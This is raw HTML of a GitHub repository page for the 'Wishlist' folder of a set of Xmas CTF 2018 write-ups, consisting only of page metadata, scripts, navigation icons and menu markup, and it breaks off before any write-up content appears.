crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>XmasCtf2018Writeups/Wishlist at master · serega6531/XmasCtf2018Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="D7E7:CDCE:CE26986:D39D210:6412255F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="7aed3362168dcb028de4a40ba42215305f48c5d25e51d3296e6671683ffa69dc" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0U3OkNEQ0U6Q0UyNjk4NjpEMzlEMjEwOjY0MTIyNTVGIiwidmlzaXRvcl9pZCI6IjUxMjY3MjQzODc5ODM0OTc1IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="d7b7ae21f6060537cc0986544d7c4f8b328cb0887e3fa94f7b1a5f1567bcc48c" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162837579" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="XmasCtf2018Writeups/Wishlist at master · serega6531/XmasCtf2018Writeups" /><meta name="twitter:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta property="og:image:alt" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="XmasCtf2018Writeups/Wishlist at master · serega6531/XmasCtf2018Writeups" /><meta property="og:url" content="https://github.com/serega6531/XmasCtf2018Writeups" /><meta property="og:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/serega6531/XmasCtf2018Writeups git https://github.com/serega6531/XmasCtf2018Writeups.git"> <meta name="octolytics-dimension-user_id" content="4551398" /><meta name="octolytics-dimension-user_login" content="serega6531" /><meta name="octolytics-dimension-repository_id" content="162837579" /><meta name="octolytics-dimension-repository_nwo" content="serega6531/XmasCtf2018Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162837579" /><meta name="octolytics-dimension-repository_network_root_nwo" content="serega6531/XmasCtf2018Writeups" /> <link rel="canonical" href="https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Wishlist" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162837579" data-scoped-search-url="/serega6531/XmasCtf2018Writeups/search" data-owner-scoped-search-url="/users/serega6531/search" data-unscoped-search-url="/search" data-turbo="false" action="/serega6531/XmasCtf2018Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="MLj5ZIHOpLMbjWm6eqfVvnbVmvme6FG7xD6CrobadYVQdk9jHTBXGvW+OCN9o2QLrGEeLGD4uoWFhPrCDKNInQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 